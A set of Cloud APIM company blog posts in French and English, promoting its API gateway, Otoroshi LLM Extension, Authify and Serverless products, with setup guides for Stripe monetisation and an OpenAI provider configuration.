Elle se situe entre les clients (applications, mobiles, partenaires...) et vos services backend (microservices, bases de données, etc.).

Fonctionnalités clés d’une API Gateway :

• Authentification & Autorisation (OAuth2, JWT)

• Rate Limiting (limitation de débit)

• Transformation de requêtes et de réponses

• Routage intelligent (en fonction des versions, headers, payload…)

• Monitoring & Logs

• Gestion du cycle de vie des API

Exemple d’usage :

Une entreprise expose ses services métier (stock, commande, paiement) via des APIs.

L’API Gateway centralise tous les appels, applique des règles de sécurité, trace les appels et permet une gouvernance globale.

Load Balancer vs API Gateway : le comparatif

Quelle solution choisir pour votre infrastructure ?

• Si votre objectif est uniquement de répartir du trafic entre plusieurs serveurs pour garantir la disponibilité, le Load Balancer suffit.

• En revanche, si vous souhaitez exposer, sécuriser, versionner et piloter des API pour des applications internes ou externes, l’API Gateway est indispensable.

En réalité, ces deux outils sont complémentaires. Une architecture moderne utilise souvent un Load Balancer en frontal, qui dirige le trafic HTTP vers une API Gateway, elle-même chargée de gérer les API et de router vers les bons services.

Pourquoi choisir une solution de gestion d’API dans le cloud ?

Les API sont aujourd’hui au cœur de la transformation digitale. Pour les entreprises, l’externalisation de la gestion des API via une plateforme cloud permet de :

• Gagner du temps dans la mise en production

• Profiter d’un hébergement sécurisé et scalable

• Suivre les performances et les usages via des dashboards avancés

• Intégrer facilement des outils d’authentification (SSO, tokens, etc.)

Cloud-APIM : la plateforme française de gestion d’API cloud

Chez Cloud-APIM, nous aidons les entreprises à exposer, sécuriser et superviser leurs API à travers une solution complète d’API Management en mode SaaS ou cloud privé.

Nos atouts :

• Hébergement souverain en France 🇫🇷

• Portail développeur personnalisable

• Sécurité avancée (TLS, OAuth2, WAF)

• Support entreprise & accompagnement technique

En résumé :

• Le Load Balancer répartit le trafic,

• L’API Gateway gouverne, sécurise et trace les appels APIs

• Les deux peuvent (et doivent souvent) être utilisés ensemble.

➡️ Prêt à structurer votre stratégie API ? Testez dès maintenant notre plateforme sur cloud-apim.com ou contactez nos experts pour une démonstration.

Mais avec cette adoption croissante vient une problématique majeure : la gestion des coûts d’utilisation des modèles de langage (LLM) comme ChatGPT, Claude ou Mistral.

De nombreuses entreprises se retrouvent face à une facture qui grimpe sans contrôle réel, à cause d’un usage intensif, mal encadré ou dispersé dans les équipes.

C’est précisément pour répondre à ce besoin que nous avons conçu Otoroshi LLM Extension : une solution pour reprendre la maîtrise des coûts liés à l’IA en entreprise, sans sacrifier l’innovation.

Pourquoi surveiller et optimiser l’usage des LLMs en entreprise ?

Voici ce que nous observons sur le terrain :

• Les coûts mensuels liés aux LLMs explosent avec l’usage croissant (notamment GPT-4).

• Le manque de visibilité sur qui utilise quoi, comment et à quel prix.

• L’absence de quotas ou règles d’usage pour les collaborateurs.

• Aucune distinction entre les tâches simples (qui pourraient utiliser un modèle gratuit ou local) et les tâches complexes.

💡 Résultat : une perte de contrôle budgétaire, un risque de surconsommation et des dépenses injustifiées.

Otoroshi LLM Extension : la solution pour maîtriser les coûts d’IA

Otoroshi LLM Extension est une surcouche stratégique qui agit comme un point d’entrée unique pour tous les usages IA dans votre entreprise.

Elle vous permet de surveiller, sécuriser et piloter l’usage des LLMs, tout en réduisant significativement les coûts.

Réduction automatique des appels LLM grâce au cache intelligent

De nombreuses requêtes sont répétitives (même question, même contexte).

Plutôt que de repayer à chaque fois, Otoroshi LLM Extension réutilise les réponses précédentes.

• Mise en cache configurable basée sur les prompts

• Réponses stockées temporairement pour éviter des appels facturés inutilement

• Idéal pour les assistants internes ou FAQ automatisées

🎯 Impact : jusqu’à 50 % de réduction sur le volume de requêtes facturées

Routage intelligent vers le bon modèle au bon moment

Tous les cas d’usage ne nécessitent pas GPT-4.

• Pour les tâches simples : modèles open source hébergés en interne

• Pour les cas complexes : fallback vers des modèles performants (GPT, Claude)

• Possibilité de créer des règles personnalisées selon le type de requête ou l’utilisateur

🎯 Impact : usage optimisé, facture allégée

Gestion des accès, quotas et budgets par équipe ou service

Contrôlez qui a accès à l’IA, combien de requêtes sont autorisées, et suivez les budgets.

• Mise en place de plafonds de consommation (nombre de requêtes ou coût)

• Attribution de clés API par utilisateur ou service

• Application de politiques de gouvernance IA

🎯 Impact : fin des dérives de consommation, usage aligné avec la stratégie

Tableaux de bord clairs pour une meilleure gouvernance

Vous ne pouvez optimiser que ce que vous mesurez.

• Visualisation de l’usage LLM par département, utilisateur ou projet

• Estimation en temps réel des coûts (par token ou modèle)

• Export et reporting pour les DSI et services achats

🎯 Impact : pilotage budgétaire fiable et décisionnel

Réécriture automatique des prompts pour réduire les tokens utilisés

Certains prompts sont inutilement longs ou mal formulés.

Otoroshi peut les simplifier ou optimiser automatiquement avant envoi.

• Suppression des redondances

• Optimisation sémantique pour limiter les tokens

• Résultats identiques, coût réduit

🎯 Impact : réduction directe de la consommation de tokens facturés

Sécurité et conformité intégrées

En centralisant tous les appels IA :

• Vous bloquez les usages non autorisés

• Vous évitez les fuites de données sensibles

• Vous renforcez la conformité RGPD et sécurité interne

Une innovation maîtrisée, budget sous contrôle

Adopter l’IA générative ne doit pas rimer avec perte de contrôle budgétaire.

Avec Otoroshi LLM Extension, vous offrez à vos équipes un cadre sécurisé et intelligent pour l’usage des LLMs, tout en maximisant le retour sur investissement.

🚀 Prêt à reprendre la main sur vos coûts IA ?

🔗 Découvrez la documentation officielle

📬 Restez informé
Abonnez-vous à notre blog pour suivre les nouveautés, astuces, et bonnes pratiques autour de nos solutions.

🏢 À propos de Cloud APIM

Cloud APIM est un fournisseur de solutions de gestion d’API de nouvelle génération. Nous aidons les entreprises à exploiter tout le potentiel de leurs APIs grâce à des offres managées, performantes et prêtes à l’emploi.

Nos produits innovants incluent :

• Otoroshi Managed Instances : Instances Otoroshi gérées, configurées et prêtes en quelques secondes

• Serverless avec GitOps : Déploiements scalables sans gestion d'infrastructure

• Authify : Authentification rapide et sécurisée pour vos APIs

The Otoroshi LLM Extension by Cloud APIM is a groundbreaking module that enhances the capabilities of the open-source API Gateway Otoroshi, turning it into a powerful AI Gateway.

It enables a complete integration with leading large language model (LLM) providers such as OpenAI, Mistral, Anthropic, Azure, Hugging Face, and much more providers : all through a unified API.

This innovation brings AI-native API management to the forefront, letting companies integrate conversational AI, generative models, and intelligent services directly into their infrastructure.

Best features from the Otoroshi LLM Extension

Multi-Provider AI Compatibility

Easily switch or combine multiple LLMs like GPT from OpenAI, Claude, Mistral, your own internal company models or open-source models via a single standardized API.

This reduces vendor lock-in and increases flexibility for AI workflows.

Advanced Prompt Engineering & Controls

Create dynamic prompts using templates, inject real-time context, and enforce "prompt guardrails" to sanitize inputs/outputs. Ideal for data privacy, compliance, and response reliability.

AI Governance & Security

• Per-service and per-user LLM token quotas

• Role-based access control and moderation

• Full auditing and request tracing

• Integration with existing Otoroshi rules for fine-grained API-level governance

📊 Cost Optimization & Performance

• Track token usage and cost per LLM request

• Use semantic caching to avoid redundant calls

• Apply retry policies and load balancing to maintain stability

Easy to install with Cloud APIM and Clever Cloud

The Otoroshi LLM Extension is fully integrated into Cloud APIM’s managed Otoroshi platform, available as a serverless AI Gateway.

Since December 2024, it can also be deployed via Clever Cloud in just minutes with the “Otoroshi LLM extension” add-on.

Use Cases

• AI-Powered API Workflows: Centralize prompt routing, response formatting, and LLM usage across multiple APIs.

• Secure Chatbots & Agents: Deploy moderated, auditable conversational agents for support or business operations.

• Smart Routing: Offload routine tasks to Mistral/Ollama, reserve GPT-4 for critical operations.

• Compliance & Audit-Ready AI APIs: Build trustworthy AI features for regulated environments (finance, healthcare, etc.).

Why It Matters

In a world where AI and APIs are becoming inseparable, the Otoroshi LLM Extension offers a secure, scalable, and efficient foundation for next-generation applications.

You can build intelligent microservices, craft interactive user experiences, and automate backend operations

🔗 Learn more: Otoroshi LLM Extension Documentation

📡 Stay Connected

Follow our blog for the latest updates, tips, and best practices for our products.

🏢 About Cloud APIM

Cloud APIM provides cutting-edge, managed solutions for API management, enabling businesses to leverage the full power of their APIs with ease and efficiency.

Our commitment to innovation and excellence drives us to offer the most advanced tools and services to our customers, empowering them to achieve their digital transformation goals.

Cloud APIM Products

Otoroshi Managed Instances : Fully managed Otoroshi clusters, perfectly configured and optimized, ready in seconds

Serverless enables scalable deployments without infrastructure management.

Authify simplifies authentication with quick and secure integration.

L’extension Otoroshi LLM développée par Cloud APIM est un module innovant qui transforme la passerelle API open source Otoroshi en une puissante passerelle d’IA (AI Gateway).

Cette extension permet une intégration native avec les principaux fournisseurs de modèles de langage (LLM) tels que OpenAI, Mistral, Anthropic, Azure, Hugging Face, et bien d'autres (voir la documentation).

Grâce à cette technologie, les entreprises peuvent intégrer des modèles conversationnels, des fonctionnalités génératives ou des services intelligents directement dans leur infrastructure API.

Fonctionnalités clés de l’extension Otoroshi LLM

Compatibilité multi-fournisseurs IA

Basculez facilement entre plusieurs modèles comme GPT (OpenAI), Claude, Mistral, vos propres modèles internes ou des modèles open source.

Réduisez la dépendance à un seul fournisseur (vendor lock-in) et améliorez la flexibilité de vos flux IA.

Ingénierie de prompt avancée

• Créez des prompts dynamiques avec des modèles personnalisés

• Injectez du contexte en temps réel

• Appliquez des barrières de sécurité (guardrails) pour contrôler les entrées et sorties

Idéal pour les cas d’usage où la conformité, la confidentialité des données et la fiabilité des réponses sont critiques.

Gouvernance et sécurité de l’IA

• Quotas LLM par utilisateur ou par service

• Contrôle d’accès basé sur les rôles (RBAC)

• Modération des requêtes et audit complet

• Intégration native avec les règles Otoroshi pour une gouvernance fine au niveau API

📊 Optimisation des coûts et des performances

• Suivi du nombre de tokens et des coûts par requête

• Cache sémantique pour éviter les appels redondants

• Stratégies de retry, équilibrage de charge, et gestion des délais

Déploiement facile avec Cloud APIM et Clever Cloud

L’extension Otoroshi LLM est disponible dès maintenant sur la plateforme Cloud APIM via les instances managées Otoroshi ou sous forme de passerelle IA serverless.

Depuis décembre 2024, elle est également déployable en quelques minutes via Clever Cloud, grâce à l’add-on “Otoroshi LLM extension”.

Cas d’usage typiques

Workflows d’API pilotés par l’IA

Centralisez les prompts, gérez les réponses, et optimisez l’usage des modèles LLM dans vos APIs.

Chatbots sécurisés et agents conversationnels

Déployez des agents audités, modérés et adaptés à des environnements professionnels.

Routage intelligent

Confiez les tâches courantes à des modèles légers comme Mistral ou Ollama, et réservez GPT-4 pour les opérations critiques.

APIs prêtes pour l’audit et la conformité

Construisez des fonctionnalités IA conformes pour les secteurs réglementés : finance, santé, administration, etc.

Pourquoi c’est important

À l’heure où l’intelligence artificielle et les APIs convergent, l’extension Otoroshi LLM offre une infrastructure fiable, sécurisée et évolutive pour les applications de nouvelle génération.

👉 Créez des microservices intelligents
👉 Proposez des expériences interactives
👉 Automatisez vos opérations backend avec transparence et contrôle

🔗 Consultez la documentation officielle de l’extension Otoroshi LLM

📬 Restez informé
Abonnez-vous à notre blog pour suivre les nouveautés, astuces, et bonnes pratiques autour de nos solutions.

🏢 À propos de Cloud APIM

Cloud APIM est un fournisseur de solutions de gestion d’API de nouvelle génération. Nous aidons les entreprises à exploiter tout le potentiel de leurs APIs grâce à des offres managées, performantes et prêtes à l’emploi.

Nos produits innovants incluent :

• Otoroshi Managed Instances : Instances Otoroshi gérées, configurées et prêtes en quelques secondes

• Serverless avec GitOps : Déploiements scalables sans gestion d'infrastructure

• Authify : Authentification rapide et sécurisée pour vos APIs

The symbiotic relationship between APIs (Application Programming Interfaces) and AI is central to making AI technologies more accessible, scalable, and integrated into business operations.

This article explores why APIs are fundamental to AI, the benefits they provide, and real-world examples of their impact.

What is an API and Why is it Important for AI?

An API (Application Programming Interface) is a set of rules and protocols that allows different software applications to communicate with each other.

Essentially, APIs enable one application to access data or functionality from another, making it easier to integrate different systems.

When it comes to AI, APIs act as the bridge that connects AI models and algorithms to real-world applications, providing a structured way to implement AI functionalities without reinventing the wheel.

APIs play a pivotal role in AI integration because they simplify the deployment of AI-powered solutions by enabling developers to use pre-built AI capabilities.

This means companies don’t need extensive AI expertise to embed intelligent features like natural language processing (NLP), image recognition, or predictive analytics into their software.

The Symbiotic Relationship: How APIs Enable AI Adoption

The connection between APIs and AI goes beyond just integration; they are interdependent in driving the growth of intelligent systems. Here’s how APIs are essential for adopting and scaling AI:

1. Access to Data: Fueling AI Development

   • AI systems need data to learn and improve, and APIs make it easier to access data from various sources.

     By standardizing how data is shared across different platforms, APIs ensure that AI models can quickly process and analyze vast datasets to deliver accurate predictions and insights.

2. Seamless Integration of AI Services

   • APIs simplify the process of integrating AI functionalities into existing applications.

     Businesses can leverage APIs from AI service providers like OpenAI to add intelligent features such as chatbots, image classification, or language translation to their products.

     This plug-and-play approach reduces development time and costs.

3. Scalability and Flexibility

   • APIs offer a flexible way to scale AI capabilities as business needs evolve. Organizations can start with basic AI functionalities and, over time, add more sophisticated features by incorporating additional APIs or switching to different AI service providers.

     This modular approach allows for easier expansion and customization of AI solutions.

4. Enhanced Interoperability Across Systems

   • In a world where businesses use a variety of software tools, APIs enable different systems to work together seamlessly.

     For example, an AI-powered customer relationship management (CRM) system can use APIs to pull data from an ERP (Enterprise Resource Planning) system for more personalized customer insights, improving overall decision-making processes.

Real-World Applications: APIs Driving AI Across Industries

The importance of APIs in AI becomes clear when looking at how different industries use these technologies to transform their operations:

• Healthcare: AI-powered APIs are used to integrate predictive analytics and diagnostic tools into electronic health records (EHR) systems, helping healthcare providers improve patient outcomes through data-driven insights.

• Finance: Financial institutions utilize APIs to embed AI in fraud detection, risk assessment, and customer service automation. This improves the efficiency and security of banking operations.

• E-Commerce: Online retailers use AI APIs to enhance product recommendations, inventory management, and personalized marketing, creating a more engaging and efficient shopping experience for customers.

Why No AI Without API is the New Normal

The phrase “No AI Without API” underscores a new reality in the tech world: AI’s true potential can only be realized through effective API management and integration.

Here are some reasons why this is now the norm:

1. Faster Time-to-Market

   • By leveraging pre-built AI capabilities via APIs, companies can launch AI-powered features more quickly, gaining a competitive advantage. This significantly reduces development time compared to building AI models from scratch.

2. Cost Efficiency

   • APIs lower the barrier to entry for implementing AI, making it more accessible to small and medium-sized businesses. Instead of investing heavily in data science teams, companies can use APIs to bring AI-driven functionalities to their applications at a fraction of the cost.

3. Standardization and Consistency

   • APIs promote a standardized approach to integrating AI across different platforms and services, ensuring consistency in performance and results. This reduces the complexity involved in managing disparate AI tools and technologies.

The Future of AI and APIs: Trends and Opportunities

Looking ahead, the relationship between AI and APIs will continue to evolve, with trends such as:

• Automated API generation: Tools that automatically generate APIs for AI models will streamline integration processes even further, allowing for rapid deployment of AI capabilities.

• API marketplaces for AI services: These platforms will offer curated AI functionalities accessible through standardized APIs, enabling companies to find and implement AI solutions more easily.

• Enhanced security measures: As AI-powered APIs become more widespread, there will be a greater focus on implementing security protocols to protect data and ensure compliance with regulatory standards.

Conclusion

The concept of “No AI Without API” reflects the essential role APIs play in the development and deployment of AI solutions.

They enable seamless data access, simplify the integration of AI services, and allow businesses to scale their AI capabilities efficiently.

As AI continues to shape the future of technology, the synergy between APIs and AI will be critical in driving innovation across industries.

Embracing this relationship ensures that companies can stay ahead in the competitive landscape by unlocking the full potential of AI through effective API management.

📡 Stay Connected

Follow our blog for the latest updates, tips, and best practices for Cloud APIM Authify.

🏢 About Cloud APIM

Cloud APIM provides cutting-edge, managed solutions for API management, enabling businesses to leverage the full power of their APIs with ease and efficiency.

Our commitment to innovation and excellence drives us to offer the most advanced tools and services to our customers, empowering them to achieve their digital transformation goals.

Cloud APIM Products

Otoroshi Managed Instances : Fully managed Otoroshi clusters, perfectly configured and optimized, ready in seconds

Serverless enables scalable deployments without infrastructure management.

Wasmo brings lightweight WebAssembly execution.

Authify simplifies authentication with quick and secure integration.

AI have become omnipresent in our world, and allow us to drastically increase the capabilities of the tools we use on a daily basis.

Integrating AI into our software solutions has become essential.

Large Language Models (LLMs), such as GPT, have made impressive strides in enhancing natural language processing, enabling advanced AI-driven functionalities in various applications.

But how do these powerful tools connect to existing systems efficiently ?

That’s where LLM Gateways come in. We will see through this article the usefulness of integrating them with an API gateway, secure and personalized according to your needs and those of your projects.

🔍 What are LLM Gateways?

LLM Gateways are specialized solutions that facilitate the integration of Large Language Models into existing applications and infrastructure.

They act as intermediaries, making it easy to incorporate AI functionalities by providing secure and scalable connectivity to LLMs without the need for complex configurations.

🌐 How LLM Gateways Work

LLM Gateways streamline the communication between AI models and applications by offering the following features:

1. Unified Interface: A common API that supports various LLMs, making it simpler for developers to switch between models and manage different AI services.

2. Efficient Routing: Seamlessly route requests to different AI models based on use case, workload, or user requirements.

3. Security Controls: Incorporate advanced security measures to manage data flow, ensuring that sensitive information is protected when communicating with AI services.

4. Scalability: Enable high-performance scaling to accommodate fluctuating workloads and ensure smooth user experiences.

💡 Benefits of Using LLM Gateways

Integrating LLM Gateways offers numerous advantages:

• Faster Time-to-Market: Quickly deploy AI-driven functionalities with minimal setup, accelerating development timelines.

• Improved Developer Productivity: Focus on creating innovative features rather than managing complex AI integration processes.

• Cost Efficiency: Optimize the use of AI resources by routing workloads to the most suitable models, helping control costs.

• Enhanced Flexibility: Easily switch between AI models or add new ones, adapting to changing requirements without disrupting operations.

📊 Popular Use Cases for LLM Gateways

LLM Gateways open up a range of possibilities across different industries:

• Customer Support Automation: Enhance chatbot capabilities by integrating LLMs for more accurate and context-aware responses.

• Content Generation: Automate the creation of marketing materials, social media posts, or technical documentation using AI-driven language models.

• Sentiment Analysis: Leverage LLMs for analyzing user feedback, social media data, or customer reviews to gauge public sentiment and inform business strategies.

• Personalized Recommendations: Provide tailored product or content suggestions based on natural language inputs from users.

🎉 LLM Gateways are available on Cloud APIM

Looking to incorporate LLM Gateways into your projects ?

Cloud APIM offers a comprehensive solution for integrating LLM capabilities, enabling seamless AI-driven enhancements across applications.

With Cloud APIM, you can quickly connect to multiple LLM providers through a unified interface, ensuring your AI integrations are as flexible and scalable as your business demands.

Our Serverless offer and our Otoroshi managed instances directly allow you to create your own LLM gateways without hassle and without any technical skills.

Conclusion

LLM Gateways are shaping the future of AI integration, offering a streamlined approach to unlocking the full potential of language models. Whether for enhancing customer experiences, automating content creation, or driving insights from data, these gateways provide the tools needed to accelerate digital transformation. Start exploring LLM Gateways with Cloud APIM and take your AI capabilities to the next level.

📡 Stay Connected

Follow our blog for the latest updates, tips, and best practices for Cloud APIM Authify.

🏢 About Cloud APIM

Cloud APIM provides cutting-edge, managed solutions for API management, enabling businesses to leverage the full power of their APIs with ease and efficiency.

Our commitment to innovation and excellence drives us to offer the most advanced tools and services to our customers, empowering them to achieve their digital transformation goals.

Cloud APIM Products

Otoroshi Managed Instances : Fully managed Otoroshi clusters, perfectly configured and optimized, ready in seconds

Serverless enables scalable deployments without infrastructure management.

Wasmo brings lightweight WebAssembly execution.

Authify simplifies authentication with quick and secure integration.

That’s where Cloud APIM Authify comes in 🤩

Authify is an all-in-one, easy-to-use authentication solution that enables you to securely manage user access to your applications without spending hours or days on configuration.

Whether you're working with web applications, mobile apps, or cloud-based services, Authify streamlines the process of setting up secure user authentication.

Our innovative tool allows you to quickly integrate secure authentication into your projects without the hassle.

🤔 What is Cloud APIM Authify ?

Cloud APIM Authify is a simple yet powerful authentication solution that supports industry standards like OAuth 2.0 and OpenID Connect.

With just a few clicks, you can secure your applications and manage user access with ease.

🔑 Key Features

• Instant Setup: Add authentication in minutes, not days! ⏱️

• Scalable Security: Perfect for both small apps and enterprise-level projects. 🔐

• Role-Based Access Control: Easily manage user roles and permissions. 🎯

👀 Why Choosing Authify ?

1. Fast, Easy Integration – Get started with no hassle.

2. User-Friendly Dashboard – Control your authentication settings effortlessly.

3. Secure and Scalable – Protect your users without compromising performance.

🚀 Try Authify Beta Now

Experience the future of authentication with Authify Beta.

Set up secure access in seconds and streamline your app development.

👉 Join the beta today and simplify authentication for all your projects !

📡 Stay Connected

Follow our blog for the latest updates, tips, and best practices for Cloud APIM Authify.

🏢 About Cloud APIM

Cloud APIM provides cutting-edge, managed solutions for API management, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer the most advanced tools and services to our customers, empowering them to achieve their digital transformation goals.

Cloud APIM Products

Otoroshi Managed Instances : Fully managed Otoroshi clusters, perfectly configured and optimized, ready in seconds

Serverless enables scalable deployments without infrastructure management.

Wasmo brings lightweight WebAssembly execution.

Authify simplifies authentication with quick and secure integration.

Cloud APIM Serverless helps you to monetize your APIs, allowing you to focus on innovation while maximizing profitability.

In this blog post, we’ll guide you through the process of setting up easy monetization for your API using Cloud APIM Serverless.

💡 Why Monetizing Your API ?

• Generate Revenue : Turn your API into a revenue stream by offering paid access.

• Promote Innovation : Encourage developers to build on your platform by providing high-quality, premium features.

• Control Usage : Implement usage tiers and rate limits to ensure fair and optimal resource utilization.

🚀 Getting Started with API Monetization

1. Sign Up on Cloud APIM Serverless:

   Before setting up monetization, ensure you have created a project on Cloud APIM Serverless.

   If you haven't created one yet, follow these steps:

   • Log in to your Cloud APIM Serverless dashboard.

   • Click on "New project" and fill in your project name.

2. Set Up your Billing Plans:

   • Navigate to the Developer portal section in your API settings.

   • Click on Dev portal Plans and configure your plans.

     For this example let's create 3 plans :

     • Silver Tier: Offer basic access with limited usage.

     • Gold Tier: Provide additional features and higher usage limits for a fee.

     • Diamond Tier : Get all features included in Silver & Gold and much more.

3. Configure Stripe Integration :

   • Create an account on Stripe (https://stripe.com/)

   • Go to your Dashboard and create your products (Silver, Gold and Diamond) as we took for our example.

   • Create a Pricing table and add your 3 products into the table.

     

Then, click on Continue and go to Payment Page step

For each product choose Don't show Confirmation page and put your link such as https://my-project-domain.cloud-apim.dev/docs/subloading?session_id={CHECKOUT_SESSION_ID}

Replace the domain name by your Serverless project domain

Once you've configured all your plans into your pricing table you can click on Finish

Now, copy your STRIPE_PRICING_TABLE_ID you'll set it up into your environment variables right after.

Configure Stripe Webhooks

Go to your Stripe Dashboard Developers and select Webhooks tab.

Click on + add enpoint and fill in the form as shown below :

Put https://hooks.cloud-apim.com/serverless/stripe as endpoint url

At the bottom of the form in the section Select events to listen to please select those events :

customer.subscription.deleted, customer.subscription.updated and checkout.session.completed

You have now configured with success your project. Click on Add endpoint to save your changes.

Manage your environment variables

Go back to your Cloud APIM Serverless project and set up the 3 required $.env.variables for your project.

You need to set up 3 environment variables STRIPE_PRICING_TABLE_ID, STRIPE_PUB_KEY and STRIPE_SECRET_KEY.

To do it, follow the screenshots below

Now, save your new variable and repeat the process for the other variables.

Configure your developer portal

Well, we are close to the end of our configuration !

You just need to configure your portal by enabling the monetization and setting up your different plans.

In the developer portal editor just paste the following code :

"monetisation": {
    "enabled": true,
    "provider": "stripe",
    "config" : {
      "pricing_table_id" : "${environment.STRIPE_PRICING_TABLE_ID}",
      "pub_key" : "${environment.STRIPE_PUB_KEY}",
      "secret_key" : "${environment.STRIPE_SECRET_KEY}"
    } 
 }

Follow the procedure : https://www.cloud-apim.com/serverless/documentation/docs/Monetisation/portal-conf

🌟 Benefits of Monetizing with Cloud APIM Serverless

• Streamlined Setup: Easily configure billing plans and payment integration without extensive coding.

• Scalable Solutions: Scale your API monetization strategy as your user base grows.

• Comprehensive Analytics: Gain insights into API usage and revenue through detailed analytics and reporting.

• Secure Transactions: Ensure secure payment processing with trusted payment gateways.

• Enhanced Developer Experience: Provide a user-friendly developer portal that simplifies subscription management and API access.

Documentation

For more help let's check out our documentation about monetization https://www.cloud-apim.com/serverless/documentation/docs/category/add-monetisation

🎉 Conclusion

Monetizing your API with Cloud APIM Serverless is a straightforward and effective way to unlock new revenue streams while providing value to your users.

By leveraging the platform’s robust monetization features, you can set up billing plans, manage subscriptions, and handle payments with ease.

Start monetizing your API today and turn your innovation into income with Cloud APIM Serverless !

🚀 Get Started Now

Ready to get started with Cloud APIM Serverless ?

Sign up now and take the first step towards secure and efficient API management !

📡 Stay Connected

Follow our blog for the latest updates, tips, and best practices for Cloud APIM Serverless and API management.

🏢 About Cloud APIM

Cloud APIM provides cutting-edge, managed solutions for API management, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer the most advanced tools and services to our customers, empowering them to achieve their digital transformation goals.

APIs enable different software systems to communicate with each other, fostering innovation and streamlining processes.

However, managing these APIs effectively is essential for businesses to harness their full potential.

This is where API management comes into play.

In this article, we’ll explore why API management is crucial for your business and how it can drive success.

🛡️ Enhanced Security

Protect Your Data and Systems

Security is a top priority for any business, especially when dealing with APIs that expose critical data and services.

API management provides robust security measures such as authentication, authorization, encryption, and threat detection.

By implementing these controls, businesses can protect their data from unauthorized access and cyber threats.

Security - Example :

For instance, OAuth2 is a common authorization framework used in API management to ensure that only authenticated users can access specific resources.

This prevents unauthorized access and keeps sensitive information secure.

⚡ Improved Performance

Optimize and Monitor API Usage

Performance is key to maintain user satisfaction and operational efficiency.

API management tools offer monitoring and analytics features that help businesses tracking their API performance, usage patterns, and response times.

This data is invaluable for identifying bottlenecks, optimizing API endpoints, and ensuring that the system runs smoothly.

Monitoring - Example :

A company might use API management to monitor API calls during peak times, identifying and addressing slowdowns proactively to maintain high performance and reliability.

📈 Scalability

Manage and Scale APIs Effortlessly

As businesses grow, their API usage typically increases.

API management platforms provide the scalability needed to handle this growth.

They allow businesses to scale their API infrastructure seamlessly, ensuring that they can accommodate increased traffic without compromising performance.

Scalability - Example :

A retail company experiencing a surge in traffic during holiday sales can rely on API management to scale their API resources automatically, ensuring a smooth shopping experience for customers.

🔗 Seamless Integration

Connect Different Systems and Platforms

API management facilitates the integration of diverse systems and platforms, enabling businesses to create a cohesive digital ecosystem.

This seamless integration helps streamline operations, improve efficiency, and foster innovation.

Seamless Integration - Example :

An e-commerce platform can integrate with various payment gateways, shipping services, and inventory management systems through APIs, all managed centrally to ensure consistent and reliable operation.

🌐 Technology Agnostic

Flexibility Across Different Technologies

One of the significant advantages of modern API management is its technology-agnostic nature.

This means that businesses can integrate and manage APIs across various technology stacks and platforms without being tied to a specific vendor or technology.

This flexibility allows organizations to adopt the best tools and services for their needs, promoting innovation and agility.

Technology Agnostic - Example:

A financial services company can use an API management platform to integrate APIs from different fintech providers, regardless of the underlying technology each provider uses.

This ensures seamless operation and the ability to choose the best solutions without compatibility concerns.

🌟 Better User Experience

Deliver Consistent and Reliable Services

User experience is critical to the success of any business.

API management ensures that APIs deliver consistent, reliable, and high-quality services to users.

By managing API versioning, monitoring performance, and ensuring uptime, businesses can provide a superior user experience.

UX - Example :

A mobile app relying on multiple APIs for functionalities like weather updates, location services, and social media integration can ensure all APIs are performing optimally, providing users with a seamless and enjoyable experience.

✨ Conclusion

API management is not just a technical necessity : it is a strategic asset that can drive business growth and innovation.

By enhancing security, improving performance, enabling scalability, facilitating seamless integration, and ensuring a better user experience, API management helps businesses maximize the potential of their APIs.

Investing in robust API management solutions is essential for staying competitive in today’s digital landscape.

Embrace API management to unlock new opportunities, drive efficiency, and deliver exceptional value to your customers.

🚀 Get Started Now

Ready to get started with Cloud APIM Serverless ?

Sign up now and take the first step towards secure and efficient API management !

🎥 Youtube Videos

📡 Stay Connected

Follow our blog for the latest updates, tips, and best practices for Cloud APIM Serverless and API management.

🏢 About Cloud APIM

Cloud APIM provides cutting-edge, managed solutions for API management, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer the most advanced tools and services to our customers, empowering them to achieve their digital transformation goals.

One of the most powerful applications of AI is our API gateways, where AI can enhance functionality, security, and user experience.

In this new article, we’ll walk you through the steps to create your first AI provider and context entities, enabling you to leverage AI in your API management.

Step-by-Step Guide to create your AI Provider and Context Entities

1. Create your Serverless Project

First, you need to sign up on Cloud APIM and create your first project to use our AI plugins.

If you haven't created one yet, follow these steps :

• Go to https://www.cloud-apim.com/

• Log in to your Cloud APIM Serverless dashboard.

• Click on "New project" and fill in with your project name.

2. Clone or Fork our Git Repository

Go to our AI plugins template repository https://github.com/cloud-apim/otoroshi-llm-extension-serverless-example

Clone it or fork it to your personal repository.

git clone https://github.com/cloud-apim/otoroshi-llm-extension-serverless-example.git

This repository will host all your Serverless project's configuration 😁

3. Choose Your AI Provider

Cloud APIM offers multiple providers to use through its plugins :

• OpenAI

• Azure OpenAI

• Ollama

• Mistral

• Anthropic

Get your API Token in order to configure your AI Provider entity in your Cloud APIM Serverless project.

4. Set up your environment variables

Now let's secure your AI Provider API Token.

To do it we will use an environment variable defined as a secret variable for your project.

Go to your project's dashboard and click on 'Create a new environment variable' Name it, for example AI_PROVIDER_TOKEN and paste your AI Provider Token in the environment variable value box below the name.

And just save it !

5. Set Up Your AI Provider Entity

Now, navigate to your entities/ai.json file.

Open it and you will have to set up your provider name and its associated token.

Update the "provider" property, by default we set up "provider" : "openai"

Next, update the connection property by adding the API endpoint URL and the token property linked to your environment variable name.

For example : "token": "${environment.AI_PROVIDER_TOKEN}"

Finally, define the model you would like to use by updating options property.

Example with GPT 3.5 Turbo model : "model": "gpt-3.5-turbo"

Here is the example of the 'AiProvider' entity :

{
        "_loc": {
            "tenant": "default",
            "teams": ["default"]
        },
        "id": "provider-openai",
        "name": "OpenAI",
        "description": "",
        "metadata": {},
        "tags": [],
        "provider": "openai",
        "connection": {
            "base_url": "https://api.openai.com",
            "token": "${environment.AI_PROVIDER_TOKEN}",
            "timeout": 30000
        },
        "options": {
            "model": "gpt-3.5-turbo",
            "frequency_penalty": null,
            "logit_bias": null,
            "logprobs": null,
            "top_logprobs": null,
            "max_tokens": null,
            "n": 1,
            "presence_penalty": null,
            "response_format": null,
            "seed": null,
            "stop": null,
            "stream": false,
            "temperature": 1,
            "top_p": 1,
            "tools": null,
            "tool_choice": null,
            "user": null
        },
        "kind": "AiProvider"
    }

Do not forget to change and create your environment variable to use your AI provider's token.

In our demonstration case, we've chosen AI_PROVIDER_TOKEN as env variable name.

You could also save in your environment variables the API base URL such as https://api.openai.com for OpenAI or also the model you need to use.

